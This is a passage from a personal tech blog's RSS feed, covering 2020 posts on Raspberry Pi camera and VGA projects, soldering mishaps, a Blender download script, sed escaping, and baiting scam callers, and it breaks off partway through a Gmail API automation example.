Now I need to mount it all back in a new toilet roll ;)
</description>
</item>
<item>
<title>a very pink noir in a greyworld fix</title>
<pubDate>Wed, 29 Jul 2020 19:21:15 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2020.html#p290720201921</link>
<description>
The [url title="Toilet-roll security camera"]/flog/tags.html?tag=toiletroll[/url] is in the process of being rebuilt with a Pi Zero.

First I get the correct image from Raspberrypi.org. Lite has no GUI and is perfect for a headless project like this.
[code]wget https://downloads.raspberrypi.org/raspios_lite_armhf_latest[/code]

then to write to the SD card we either

[code]unzip raspios_lite_armhf_latest [/code]
[output]Archive:  raspios_lite_armhf_latest
  inflating: 2020-05-27-raspios-buster-lite-armhf.img  [/output]

then, as root
[code]dd bs=4M if=2020-05-27-raspios-buster-lite-armhf.img of=/dev/sdd status=progress conv=fsync[/code]
(where [em]/dev/sdd[/em] is the SD card on my machine, may be different on yours)
or

[code]unzip -p raspios_lite_armhf_latest | dd bs=4M of=/dev/sdd status=progress conv=fsync[/code]
(where [em]/dev/sdd[/em] is the SD card on my machine, may be different on yours)

and you want to reference the drive/card not a partition on the drive.

once the image is written to the SD card
mount the [em]boot[/em] partition and enable [em]ssh[/em]

[code]mount /mnt/sdd1
touch /mnt/sdd1/ssh
sync;umount /mnt/sdd1[/code]
(where [em]sdd1[/em] is the [em]boot[/em] partition on the SD card on my machine, may be different on yours)

[code]mount /mnt/sdd2
cp wpa_supplicant.conf /mnt/sdd2/etc/wpa_supplicant/wpa_supplicant.conf
echo "piserver" >> /mnt/sdd2/etc/hostname[/code]

Where [em]piserver[/em] is the name for your new installation and the [em]wpa_supplicant.conf[/em] is a copy of the wifi settings from another working machine.

put the card in Pi and power it up. Then from another machine
[code]ssh pi@piserver.home
raspi-config[/code]
Navigate to [em]enable interfaces[/em] and [em]camera[/em]
reboot

[em]ssh[/em] into your pi and test the camera
[code]raspistill -o cam.jpg[/code]
The light on the camera flashes when the picture is in the process of being taken.

I [em]scp[/em]'d the file off the Pi to view it and ...
Pink, very pink !?

I can find a number of discussions around IR filters, but I have not changed anything since this camera was taking pictures with the previous Pi.
Turns out that in the [url title="process of enabling the new GPU in the Pi 4 Pi Noir broke"]https://www.raspberrypi.org/forums/viewtopic.php?f=43&amp;t=245994[/url] :(  - well, became overly pink.

I tested with the special parameter [em]-awb greyworld[/em]
[code]raspistill -awb greyworld -o cam.jpg[/code]

Which worked perfectly
and then fixed it permanently by adding 
[code]awb_auto_is_greyworld=1[/code]
to [em]/boot/config.txt[/em] and rebooting

and now
[code]raspistill -o cam.jpg[/code]
produces the expected, not so pink image.

The Pi Noir camera images are always a little off in colour, due to their sensitivity to IR light. 

Next add the PIR sensor...
</description>
</item>
<item>
<title>old pi retiring after unpowering toilet roll</title>
<pubDate>Sat, 25 Jul 2020 10:04:05 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2020.html#p250720201004</link>
<description>
The [url title="Toilet-roll security camera"]/flog/tags.html?tag=toiletroll[/url] is really not happy. I dismantled the rather wonky frame connecting it to an old desk lamp and started work diagnosing the issue.

With everything connected (Pi Camera, IR sensor, Ethernet) I get a solid Red PWR LED and one brief Green flash from the ACT LED.
Disconnecting the Pi Camera, IR sensor and Ethernet, I get a solid Red PWR LED and a few brief Green flash from the ACT LED, that continues for a few seconds. This also stuck on the Rainbow screen.

The awesome [url title="Raspberry Pi Forum Cannot boot STICKY"]https://www.raspberrypi.org/forums/viewtopic.php?f=28&t=58151[/url] has a lot of information about possible remedies.
Thing is, this a 2012 Raspberry Pi model B Rev 2.0. (i.e. has mounting holes). That means it is 8+ years old and I can get a Wifi enabled Pi Zero W for less than half the price of the original.

It could just be the SD Card is knackered...

/me scrounges another Raspberry Pi model B Rev 2.0.

Same result with SD Card. 

So the SD Card was affected by the power-cut and possibly by the under voltage situation that followed.
(I have [url title="not had a good experience with the full sized SD card since the Raspberry Pi"]/flog/Jun2013.html#210620131752[/url] was released)
</description>
</item>
<item>
<title>Powercut pi pi pi madness hub</title>
<pubDate>Sat, 18 Jul 2020 14:58:00 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2020.html#p180720201458</link>
<description>
Had a power-cut last week and a number of things were affected

1: Main machine down. I always a set the BIOS to default to OFF in the even of a power-cut after an unfortunate incident involving a cable modem. All my firewall scripts had to be run manually after logging in. So the power went off while I was at work, the power came on and the cable modem routed internet hackers directly to my unprotected machine for many hours before I got home. It was hosed, had to wipe everything and restore from backup. I know things are different now, but this really sticks in my brain.
2: I noticed that directly after the power came back on the [url title="Under-shelf lighting"]/flog/tags.html?tag=undershelf[/url] WAS working, so all the power networking was alive and well. The next day, no lights and glance at the [url title="Toilet-roll security camera"]/flog/tags.html?tag=toiletroll[/url] showed it was not sending any pings to the [url title="Undershelf lighting"]/flog/tags.html?tag=undershelf[/url] Pi.
3: The [url title="Pi4 slideshow server"]/flog/May2020.html#p230520202235[/url] had stopped.

2 and 3 are significant as they are both powered off an original [url title="Pi Hub"]https://uk.pi-supply.com/products/pihub-powered-usb-hub-raspberry-pi[/url] USB hub. I love the look of these things, shaped like the official Raspberry Pi logo. The strange thing is it was still supplying a little power to both Pis, just not enough for them to boot. Luckily I had an unused spare and after swapping them over the Pi4 roared back to life, but the [url title="Toilet-roll security camera pi"]/flog/tags.html?tag=toiletroll[/url] sits with a solid Red LED. Will investigate later.

The funny thing is I can Ping the [url title="Under-shelf lighting Pi Zero"]/flog/tags.html?tag=undershelf[/url] from my main machine and the lights come on. Of course, by design, they fade after a short while. Does show the auto-start script works there.

Maybe I should replace the [url title="Toilet-roll security camera pi"]/flog/tags.html?tag=toiletroll[/url] with a more reliable Pi Zero. Pretty sure I have knackered the SD card, which was the way of old Pis with full sized SD cards.

Note to self: Check is PSU is the bad component of the [url title="Pi Hub"]https://uk.pi-supply.com/products/pihub-powered-usb-hub-raspberry-pi[/url], rather than the unit itself.

There was another situation. In the process of replacing the [url title="Pi Hub"]https://uk.pi-supply.com/products/pihub-powered-usb-hub-raspberry-pi[/url], I took the opportunity to dust, clean and tidy the gang plug powering everything. I made sure I did not touch the Router or the Ubiquity WiFi access point. But got a number of complaints the internet was down. Oops. I had unplugged the mini Ethernet hub that connected everything together :)
</description>
</item>
<item>
<title>once more into the vga breach dear pi</title>
<pubDate>Sat, 04 Jul 2020 17:06:52 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2020.html#p040720201706</link>
<description>
Time for another [url title="SV-3"]tags.html?tag=sv-3[/url] [url title="Raspberry Pi"]tags.html?tag=raspberrypi[/url] [url title="vga"]tags.html?tag=vga[/url] update.

Powering everything off and on again with the last working settings of
[code]dpi_group=2
dpi_mode=10[/code]

Gets me a relatively stable desktop. There are some issues.

No Blue. This will be my wiring :(
Slight ghosting at the top of the screen. The top 5th of the screen contains a ghost of the bottom 5th of the screen and is really noticeable when moving the mouse down there.

Good news is that my 640x480 display is running at a true 800x600

Next steps are to try and replicate this on the Pi Zero I soldered pins onto and to find something worthwhile to run on it.
</description>
</item>
<item>
<title>you tried to scam the bank of englands manager</title>
<pubDate>Sat, 04 Jul 2020 15:33:05 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2020.html#p040720201533</link>
<description>
Been getting a lot a scam calls the last few weeks. Most have started with an automated message that Amazon is about to auto-renew your Prime account and you have to press "1" to speak to an operator to cancel. The script is always the same, they need remote access to your device to confirm the bank details.

I strung one along for a while by reading out Google Image results for the TeamViewer connection app. A number had such bad lines they gave up. But one wanted me to install TeamViewer Remote on my phone. This was easy to keep on the line, as I just kept finding other things on the App/Play store and fumbling the install.

Then today I got a good old classic "We are from BT, you have hackers on your internet, we will disconnect you". The first agent I spoke to could barely hear me and nor I him, but about 20 mins later I get another call. This one starts with the same spiel but is an automated message, "Press 1 to speak to an operator".

This conversation got a bit surreal as I got more and more frantic that the hackers had accessed my computer while I was VPN'd into work. A fictional job, where I had direct control of the Bank of England's computers. I got more and more agitated, stating that the police would need to be called as the hackers would have been able to access my account at the bank. The strange thing was that the agent kept steering call back to he needing remote connection and my bank details.

I got so flustered that I started to have panic attack, repeating that, this was major security breach and I needed to speak to my manager and police. I could hear the exasperation in his voice as he repeated that if I was not going to turn on my computer he could not get rid of the hackers :D

All these calls have been reported directly to BT.

[url title="BT scam call reporting page"]https://www.bt.com/consumer/edw/scams/[/url]
</description>
</item>
<item>
<title>what the resolution is that</title>
<pubDate>Wed, 01 Jul 2020 20:54:09 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2020.html#p010720202054</link>
<description>
Normal programming can return now.

We last left the [url title="Raspberry Pi"]/flog/tags.html?tag=raspberrypi[/url] [url title="Gert VGA 666"]/flog/tags.html?tag=gertvga666[/url] [url title="SV-3"]/flog/tags.html?tag=sv-3[/url] project waiting for the battery to charge.

This is going to all be about the settings in the Pi's [em]config.txt[/em]

Tried 
[code]dpi_group=2
dpi_mode=5[/code]

as before, no signal and it was the same for modes 6 and 7, both 640x480 resolutions. Then I tried 4 (my preferred mode previously) and then and 3. 3 actually showed a signal, but the bottom portion (about a 5th) was just static.

But, hang on, mode 3 is 720x400, time to try all the modes and groups.


OK. So it is not all the modes in both groups. There are 86 in the DMT list and another 107 in the CGA (over half of those are marked Pi 4)

So that is the end of the story to get the [url title="SV-3"]/flog/tags.html?tag=sv-3[/url] to work ?

Not quite. My son asked about the [url title="SV-3"]/flog/tags.html?tag=sv-3[/url] on my desk and I turned it on expecting him to see the working, but oddly coloured, desktop. Instead he saw the vertical lines.

Not sure what to do now and could non-640x480 resolutions have worked [url title="previously?"]/flog/Feb2019.html#p110220192117[/url]
</description>
</item>
<item>
<title>another test stand by</title>
<pubDate>Wed, 01 Jul 2020 18:14:39 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2020.html#p010720201814</link>
<description>
one more test
blender
linux
<<<
    >>>>
</description>
</item>
<item>
<title>testing flog please stand by</title>
<pubDate>Wed, 01 Jul 2020 17:58:33 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2020.html#p010720201758</link>
<description>
So that last testing post was needed to fix the previous mess up. Where I encoded < in to &lt; but then immediately encoded that into &amp;lt;

I think I have it fixed now.
</description>
</item>
<item>
<title>testing please stand by</title>
<pubDate>Wed, 01 Jul 2020 17:49:33 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2020.html#p010720201749</link>
<description>
testing 
1 < 2 && 3 > 2
</description>
</item>
<item>
<title>oops up side your character encoding entity</title>
<pubDate>Wed, 01 Jul 2020 17:27:19 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2020.html#p010720201727</link>
<description>
Oops! what happened in that [url title="last post"]/flog/Jun2020.html#p300620202349[/url] ?

The f-log is still held together by random shell scripts and even a bit of Perl. This "just works" (most of the time) and I rarely touch it.

But I wanted a way of catching some of my common mistakes. Including forgetting to encode greater than, less than signs and the ampersand symbol. To add URLs and bold text I cobbled together a basic BBCode syntax.

[code][url title="what user sees"]actual url[/url][/code]

A bit of regex would then rearrange that into 

[code]<a href="actual url">what the user sees</a>[/code]

Which leads us to the latest changes. I moved all html code to BBCode (-ish) for URLs, and img, code, output and em. Then I added a counting script that detects when an open tag has the accompanying closing tag.
All this allowed me to convert greater than, less than signs and the ampersand symbols into their html entities. It worked for a few posts.

The last post had a number of &nsbp; entities and they unfortunately got encoded when they should not have.

There were also some other bad encoding issues, but they were caught by the tag counting script.

Confusingly in [em]sed[/em] the substitution part of the expression has to escape & with a backslash \& otherwise it is interpreted as a \0 (match all). All very confusing

[code]echo "banana > orange but < tea & cake" | sed -re 's/</&lt;/gi' -e 's/>/&gt;/gi' -e 's/&/&amp;/gi' [/code]
[output]banana >gt; orange but <lt; tea &amp; cake[/output]

which is so close 

[code]echo "banana > orange but < tea & cake" | sed -re 's/</\&lt;/gi' -e 's/>/\&gt;/gi' -e 's/&/\&amp;/gi' [/code]
[output]banana &gt; orange but &lt; tea &amp; cake[/output]

Now this post contains a lot of <, >, and & so lets see how it fares.
</description>
</item>
<item>
<title>get blender a script of expressions</title>
<pubDate>Tue, 30 Jun 2020 23:49:36 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2020.html#p300620202349</link>
<description>
And now for something completely different

I created a handy script for downloading the latest version of Blender for Linux
[url title="getBlender.sh"]https://gist.github.com/robgithub/cffb1b1ef7db42316d3e59e0a937fd55[/url]

It has some interesting bits, so lets dive in to the code
[code]# Download the latest version of Blender for linux if not already in folder
# 2020-06-29
baseUrl=https://download.blender.org/release/

latest=$( curl -s $baseUrl \
 | egrep "^<a" \
 | sed -re 's/^[^"]+"([^"]+)">[^>]+>\s+([^-]+)-([^-]+)-([0-9]+).+/\4-\3-\2 \1/' \
 -e 's/-Jan-/-01-/' \
 -e 's/-Feb-/-02-/' \
 -e 's/-Mar-/-03-/' \
 -e 's/-Apr-/-04-/' \
 -e 's/-May-/-05-/' \
 -e 's/-Jun-/-06-/' \
 -e 's/-Jul-/-07-/' \
 -e 's/-Aug-/-08-/' \
 -e 's/-Sep-/-09-/' \
 -e 's/-Oct-/-10-/' \
 -e 's/-Nov-/-11-/' \
 -e 's/-Dec-/-12-/' \
 | sort -n | tail -n 1 \
 | sed -re 's/\S+\s(.+)/\1/' )
 
latestUrl="$baseUrl$latest"

echo looking in $latestUrl

latest=$( curl -s $latestUrl \
 | egrep "^<a" \
 | egrep -i "linux" \
 | sed -re 's/^[^"]+"([^"]+)">[^>]+>\s+([^-]+)-([^-]+)-([0-9]+).+/\4-\3-\2 \1/' \
 -e 's/-Jan-/-01-/' \
 -e 's/-Feb-/-02-/' \
 -e 's/-Mar-/-03-/' \
 -e 's/-Apr-/-04-/' \
 -e 's/-May-/-05-/' \
 -e 's/-Jun-/-06-/' \
 -e 's/-Jul-/-07-/' \
 -e 's/-Aug-/-08-/' \
 -e 's/-Sep-/-09-/' \
 -e 's/-Oct-/-10-/' \
 -e 's/-Nov-/-11-/' \
 -e 's/-Dec-/-12-/' \
 | sort -n | tail -n 1 \
 | sed -re 's/\S+\s(.+)/\1/' )
 
latestUrl="$latestUrl$latest"

echo looking at $latestUrl

if [ ! -f "$latest" ]; then
    wget "$latestUrl"
    echo "You probably want to do the following now"
    echo "tar xvf $latest"
    blender=$(echo $latest | sed -re 's/\.tar.+$//')
    current=$(pwd)
    echo "ln -sf ${current}/${blender}/blender /usr/bin/blender"
else
    echo "Congratulations! you already have what I have deemed to be the latest version of Blender for Linux"
    ls -l --color=always /usr/bin/blender
fi[/code]

First off we use [em]curl[/em] to download the directory listing silently [em]-s[/em].

Then we pipe that output into [em]egrep[/em] to filter the links.

This gets piped to the mega [em]sed[/em]. [em]-r[/em] uses extended regex, just always include it. Then [em]-e[/em] defines an expression.

[em]^[^"]+"[/em] matches the beginning of a line [em]^[/em] followed by any character that is not a [em]"[/em] at least once, followed by a [em]"[/em]
[em]([^"]+)[/em] create a capture group and get anything that is not a [em]"[/em] at least once, followed by a [em]"[/em]
[em]>[^>]+>\s+[/em] matches anything but a [em]>[/em] at least once followed by a [em]>[/em] and then a space character a [em]\s[/em] at least once
[em]([^-]+)-([^-]+)-([0-9]+).+[/em] creates three more capture groups matching groups of non [em]-[/em] characters separated by a [em]-[/em]. Also capturing the digits 0 to 9 [em][0-9][/em]. Because this is a substitution expression we then just match anything else on the line [em].+[/em]
[em]\4-\3-\2 \1[/em] outputs our capture groups [em]YEAR-MON-DY FOLDERNAME[/em]

Then we add on twelve further expressions, each converting a three letter month name into it's numerical value. This allows the results to be sorted in numerical value [em]sort -n[/em] and we take the last item as the newest [em]tail -n 1[/em].
Finally we do another [em]sed[/em] expression [em]\S+\s(.+)[/em] which matches any non space character [em]\S[/em] at least once followed by a space character [em]\s[/em] and captures the remaining characters [em].+[/em]. The capture group is all that remains.

Combine the new folder name with the base url to get the new url we need to target.

Do exactly the same mega [em]sed[/em] but include an extra [em]egrep[/em] to just get links with [em]linux[/em] in the name.

Check to see if the file has not already been downloaded [em]if [ ! -f "$latest" ]; then[/em], download it with [em]wget[/em].

Then display the commands to untar the archive into it's own folder and link the blender command to the new installed version [em]ln[/em]. [em]-sf[/em] is force [em]-f[/em] replace existing link and do a soft link [em]-s[/em] not a hard link. Just never do hard links.

If the file already exists show where the blender command currently links to.
</description>
</item>
<item>
<title>wire whips 666 pi into shape</title>
<pubDate>Tue, 30 Jun 2020 22:39:07 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2020.html#p300620202239</link>
<description>
The biggest problem I encountered while soldering, was the iron's tip not melting the solder. I held it in the right place for ages and sometimes eventually it would work, sort of. At the first sign of the tip not melting the solder you need to stop and clean the tip. I have no wire-wool as in the videos, instead my iron has some weird tip cleaning cream bolted on to the the stand.

Once I go the hang of always cleaning the tip and "tinning" it with solder I made a reasonable job of re-doing the few bad connections. I also had taken delivery of some de-soldering wick. A thin strip of braided copper, that magically sucks up solder when you push the soldering iron against it and the solder.

[img alt="Gert VGA 666 board soldered board, very messy"]images/vga_board_no_wires.jpg[/img]

I used a multi-meter to check each of the connections I could see in the [url title="schematics"]https://github.com/fenlogic/vga666/tree/master/documents[/url] and found three that did not make sense. I expected to find bad solder joints that did not conduct electricity, but what I found was board traces that did not connect. The fix was to solder wires to bridge the gaps. I checked with my spare board that these connections really were damaged and required before adding the extra wires.

[img alt="Gert VGA 666 board with help wires"]images/vga_board_wires.jpg[/img]

Now all the solder joins looked half reasonable and all the traces I could check showed connectivity. Good thing this is a simple board.

Plug in the board to my trusty Pi B+ 1.2 and ...

nothing.

Two different VGA monitors both say "No signal" :(

Time to check the config. Just a quick [em]ssh[/em] connection to the Pi and ...

[output]kex_exchange_identification: read: Connection reset by peer[/output]

Tried a few things, no change. Internet was unhelpful, as that message can mean just about anything. Tried [em]ssh client[/em] from my phone with no luck then I noticed the ACTivity LED was flashing...

[img alt="Raspberry pi B+ 1.2 showing SD card popped out by accident"]images/vga_sdcard_popped.jpg[/img]

This pop-out SD card design was short lived. I have lost so much time over the years when it incidentally popped out of a headless setup.

The default [em]config.txt[/em] has lots of helpful comments, but this makes it a pain to identify what is and is not set.

[code]egrep -v "^#" /boot/config.txt | egrep -v "^$"[/code]
(excludes all the lines starting the [em]#[/em] character and then filters out blank lines)

[output]hdmi_force_hotplug=1
hdmi_group=2
hdmi_mode=4
dtparam=i2c_arm=off
dtparam=spi=off
dtparam=audio=on
[pi4]
dtoverlay=vc4-fkms-v3d
max_framebuffers=2
[all]
dtoverlay=vga666
enable_dpi_lcd=1
display_default_lcd=1[/output]

oops [em]hdmi_group[/em], [em]hdmi_mode[/em] does not sound right for VGA. Oh, they are supposed to be [em]dpi_group[/em], [em]dpi_mode[/em]

[output]hdmi_force_hotplug=1
dpi_group=2
dpi_mode=4
dtparam=i2c_arm=off
dtparam=spi=off
dtparam=audio=on
[pi4]
dtoverlay=vc4-fkms-v3d
max_framebuffers=2
[all]
dtoverlay=vga666
enable_dpi_lcd=1
display_default_lcd=1[/output]

Still nothing on the monitors. I need help.

I found an extra link on the [url title="Pi Supply website"]https://uk.pi-supply.com/products/gert-vga-666-hardware-vga-raspberry-pi[/url] entitled [url title="gert-vga-666-assembly-tips-and-gotchas"]https://learn.pi-supply.com/make/gert-vga-666-assembly-tips-and-gotchas/[/url]. Which sounds ideal.

Apart from some soldering advice that counters what I read in the [url title="documentation"]https://github.com/fenlogic/vga666/tree/master/documents[/url], there was an example [em]config.txt[/em]

[code]#hdmi_force_hotplug=1
dpi_group=2
dpi_mode=9[/code]

and rebooting now gets me a very ugly green and purple desktop

[img alt="Raspberry Pi OS on VGA monitor with really bad colours"]images/vga_image_on_monitor.jpg[/img]

trying
[code]dpi_group=2
dpi_mode=4[/code]

again resulted in ... nothing

What's this? another secret document. [url title="Raspberry Pi DPI README.md"]https://www.raspberrypi.org/documentation/hardware/raspberrypi/dpi/README.md[/url]

[code]dpi_group=2
dpi_mode=5[/code]

Yes! 640x480

Time to get the [url title="SV-3 glasses"][/url] out of mothballs.

to find the battery was dead :(
(and I had to dig to find the special SONY battery charger)
</description>
</item>
<item>
<title>installing is easy for bad pi solderer</title>
<pubDate>Sat, 27 Jun 2020 22:49:28 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2020.html#p270620202249</link>
<description>
Level of stupidity exceeds current maximum :(

After soldering my [url title="Gert VGA 666"]https://uk.pi-supply.com/products/gert-vga-666-hardware-vga-raspberry-pi[/url] and a pin header to a non-Wifi Pi Zero, I wanted a fresh install of the Desktop/GUI Raspbian (now known as Raspberry Pi OS). Went to the [url title="download page"]https://www.raspberrypi.org/downloads/[/url], and scrolled past NOOBS until I found "Raspberry Pi Desktop" (not reading any of the surrounding text). 
[code]dd bs=4M if=rpd_x86_latest of=/dev/sdd status=progress conv=fsync[/code]
and the Pi did not boot, didn't even flash the ACT-ivity LED.
tried a more thorough dd
[code]dd bs=1M if=rpd_x86_latest of=/dev/sdd status=progress conv=fsync[/code]
same result.

Had I blown up the Pi with bad soldering?
Tried another card and it worked, so not short circuited.

Have you noticed the mistake yet?

That's right, I download the special image for virtual machines on the X86 platform, Raspberry Pis are ARM based.

So back to [url title="download page"]https://www.raspberrypi.org/downloads/[/url] and got the ARM version (Minimal but with GUI) and then tried to write that.
[code]dd bs=4M if=raspios_armhf_latest of=/dev/sdd status=progress conv=fsync[/code]

Weird, there is no progress ... Oh!

The download name does not include an extension...

[code]unzip -p raspios_armhf_latest | dd bs=4M of=/dev/sdd status=progress conv=fsync[/code]

Right, now I can finally boot the Pi Zero.

Just to be extra annoying the USB un-powered hub is not working with my keyboard and mouse, even though it worked fine with the [url title="Joggler"]/flog/Jun2020.html#p270620202139[/url].

So just keyboard after removing hub (remember the Pi Zero has only a single USB port).
 
Run [em]raspi-config[/em] disable SPI and I2C interfaces, set screen resolution to 640x480, then do not reboot but edit
[code]sudo vi /boot/config.txt[/code]
and add the required lines at the end
[code]dtoverlay=vga666
enable_dpi_lcd=1
display_default_lcd=1
[/code]

Shutdown the Pi and plug in the [url title="Gert VGA 666"]https://uk.pi-supply.com/products/gert-vga-666-hardware-vga-raspberry-pi[/url] board and a VGA monitor.

and nothing ... switching back to HDMI showed the rainbow, which just indicates HDMI is connected (and deliberately not sending images from terminal or X).

Then I noticed I had not soldered the large fixing points each side of the VGA connector. They are only for stability, are they not?

No! on the [url title="schematic"]https://github.com/fenlogic/vga666/tree/master/documents[/url] they are connected to multiple pins. Doh! Time to get all the soldering kit out again, and I had put it away very thoroughly (not done much soldering for a few years).

Had a look at the other solder joints again and found a few wanting. The Header pins had created an impenetrable forest, so I decide to Dremel the pins off. This created a fun new problem. The Dremel not only cut off the unwanted pins but atomised any solder that was on said pins.

The board looks a right mess and I cannot clean it off :(

More importantly, I cannot see the contact pads. Usually you can see the shine and know there is not enough solder there. 

This board was only &pound;6 and I bought two of them. Not sure if I should try and fix this one or scrap it.

Did watch a load of "How to solder" YouTube videos and I think I understand why I am so bad at soldering.
</description>
</item>
<item>
<title>jog on to pi4 pihub pimote and sv-3</title>
<pubDate>Sat, 27 Jun 2020 22:30:00 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2020.html#p270620202230</link>
<description>
Where were all my power sockets going?

One was my new-ish Pi4 running my "worst Node code ever" [url title="slide-show project"]/flog/May2020.html#p230520202235[/url]. I found the [url title="Pihub"]https://uk.pi-supply.com/products/pihub-powered-usb-hub-raspberry-pi[/url] (now discontinued) was powering my [url title="toilet roll camera"]/flog/tags.html?tag=toiletroll[/url] which if you remember also activates my [url title="pimote lights"]/flog/Apr2019.html#p080420191041[/url]. It had a number of free USB sockets (it was just being used for power) and I plugged in the Pi4, booted up, tried to use the slide-show... Got the default images, it was not reading from the USB drive. Disconnected and reconnected the drive, no errors but it was not getting mounted.
Tried another USB drive, not getting mounted. Now I am worried. Is the PiHub not providing enough current?

Then I remembered I had not rebooted the Pi4 since setting it up and I had set it up with an HDMI monitor connected... Now I know SystemD is bad, but to only be able to auto-mount when the GUI is running?

The fix was to force the Pi into driving the GUI by changing the monitor settings in raspi-config from Default to anything else and rebooting.
This has the minor side effect of wasting resources on an unneeded GUI, but it did work.

Talking about the PiMote, I finally got the [url title="replacement/additional cable"]https://uk.pi-supply.com/products/mote-module-cables[/url] from the people who created the PiHub and then I bought a couple of [url title="Gert VGA 666"]https://uk.pi-supply.com/products/gert-vga-666-hardware-vga-raspberry-pi[/url] boards at only &pound;6 each to try and resurrect my [url title="SV-3"]/flog/tags.html?tag=sv-3[/url] project.

Joggler joy, currently put on hold ...
</description>
</item>
<item>
<title>Juggling a Joggler into 2020</title>
<pubDate>Sat, 27 Jun 2020 21:39:34 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2020.html#p270620202139</link>
<description>
My son found the Joggler box and wanted to know what it was.

<img src="images/joggler_box.jpg" alt="Joggler box white background">

I explained it was a screen with a mini computer. As I described it to him, I wondered if it still worked. [url title="Previously"]/flog/tags.html?tag=joggler[/url]

So I downloaded the latest image (2016), wrote it to a USB thumb drive and plugged it in and it booted without issue. I remembered to connect it via a USB hub so I could use a keyboard and mouse. Then I enabled Wi-Fi and sshd.

Updated it with the usual
<code>sudo apt-get update
sudo apt-get upgrade</code>

and after a while it rebooted, which was a bit worrying, but when it came back up X was working fine and I could install xscreensaver 5.15 and all its extras
<code>sudo apt-get install xscreensaver xscreensaver-data xscreensaver-data-extra xscreensaver-gl xscreensaver-gl-extra
</code>

then run it and there is my screen-saver and any of the other cool hacks including all the 3D ones. No stutter or slow down, very cool!

Here you can see it booting to Xubuntu, showing the desktop, my screensaver and the random 3D hack that happened to be running when I took the picture

<img src="images/joggler_collection_shots.jpg" alt="4 images of the O2 Joggler. Booting Xubuntu, desktop, xscreensaver, saver running">

This test of the Joggler was in the middle of the room so I shut it down and started looking for a permanent location. There were a number of power sockets but they were all in use.

Then everything changed tact, somewhat ...
</description>
</item>
<item>
<title>alyx conducting vr bone in inner ear exporation</title>
<pubDate>Sat, 13 Jun 2020 21:36:53 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2020.html#p130620202136</link>
<description>
I have some issues with my ears. 
I can manage;
 2 minutes - In-ear head-phones/pods
15 minutes - Holding a phone to my ear
30 minutes - Sony Walkman style head-phones(simply bent wire with foam covered speakers)
45 minutes - Large over-the-ear head-phones
60 minutes - Clip over-the-ear head-phones

And the "Clip over-the-ear head-phones" were what I was using with the HTC Vive VR headset.

But not anymore. I have been using AfterShokz Air Bone Conducting Headphones. I have tested wearing them for 3 hours and had no problems.

They do take a little getting used to, but after testing them with music I tried Half Life:Aylx

&lt;silence type=&quot;stunned&quot;&gt;

They worked soooo well and I was completely immersed in the world of Half Life:Aylx

It is a pity that it is such a time consuming pain to setup the VR(and take it down) every time :(

I love the way the game switches gear from exploration, hunting, puzzle solving to gun battles, story progression and even boss fights. There is still so much here. No where near finished it!
</description>
</item>
<item>
<title>normal service blah blah</title>
<pubDate>Sun, 07 Jun 2020 19:39:48 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2020.html#p070620201939</link>
<description>
Time to move the office around and set up VR again for some Half Life:Aylx !
</description>
</item>
<item>
<title>g sweet api example archives a perfectly good report</title>
<pubDate>Sun, 07 Jun 2020 19:22:37 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2020.html#p070620201922</link>
<description>
At work I have a weekly report that is generated on our Database hosting service via a bash script from cron

[code]#!/bin/bash
# Creates and emails Moodle user reports
# uses ~/.my.cnf for SQL access

DATE=$(date +"%Y-%m-%d")

# Never logged in
FN="/..../reports/moodle_user_never_logged_in-$DATE.txt"
SQL="/..../dbscripts/moodle_user_never_logged_in.sql"
EMAIL="example@example.com"
SUBJECT="Moodle User report - never logged in $DATE"
#echo $DATE
#echo $FN
#echo $SQL
if [ ! -e "$FN" ]; then
#  echo "Creating report $SUBJECT"
  mysql -t  -u dbUSER --host dbHOST dbINST &lt; $SQL &gt; $FN                                
  RES=$( cat $FN | wc -l )
  echo "Total $(($RES-4))" &gt;&gt; $FN
  mail -s "$SUBJECT" $EMAIL &lt; $FN
else
  echo "File already exists for $SUBJECT"
fi[/code]

This gets emailed to me and I then dutifully copy it into a Google Docs document. This process consists of a number of steps.

Copy the body of the email
Create new Google Doc file on a Shared Drive in the reports folder
Name the file - including the date
Paste in the body
Select all the text and set font to "Courier New" and font size 8
Set page settings to Landscape and all the Margins to 0
Archive the email

It takes less than a minute, but it still feels very automatic and ripe for automation.

I have committed to a Google automation project for the business in the near future and thought it would be a good test-bed on the how easy it would be.

WELCOME TO THE RABBIT HOLE

I decided to break the task up into GMail stuff and Google Docs bits

In WSL

[code]sudo apt update &amp;&amp; sudo apt upgrade -y
sudo apt install python3 python3-pip
pip3 install --upgrade pip
pip3 install --upgrade google-api-python-client google-auth-httplib2 google-auth-oauthlib

wget https://github.com/gsuitedevs/python-samples/raw/master/gmail/quickstart/quickstart.py[/code]

First off the quick start python code worked well, this led to a false sense of security. More on that later.
[url]https://developers.google.com/gmail/api/quickstart/python[/url]

It correctly read the labels in my GMail account after I did the OAuth dance.

What I wanted was the latest email that matched a specific "from" email address.

Just set the "query" parameter and index 0 in the resulting list is the latest. Easy!
[code]user_id = "me";
    query = "from:example@example.com";
    response = service.users().messages().list(userId=user_id, q=query).execute()[/code]

To get at the meat of the email was slightly confusing. Setting the format to "raw" got me everything, but it was a non-contextual mess.

Using format "full" then required a bit of work to get the "body" and the "subject"

[code]message = service.users().messages().get(userId=user_id, id=msg_id, format='full').execute()

#msg_str = base64.urlsafe_b64decode(message['raw'].encode('ASCII'))  # when format was 'raw'
#print(msg_str)
print(base64.urlsafe_b64decode(message['payload']['body']['data'].encode('ASCII')) )
messageHeaders = message['payload']['headers']
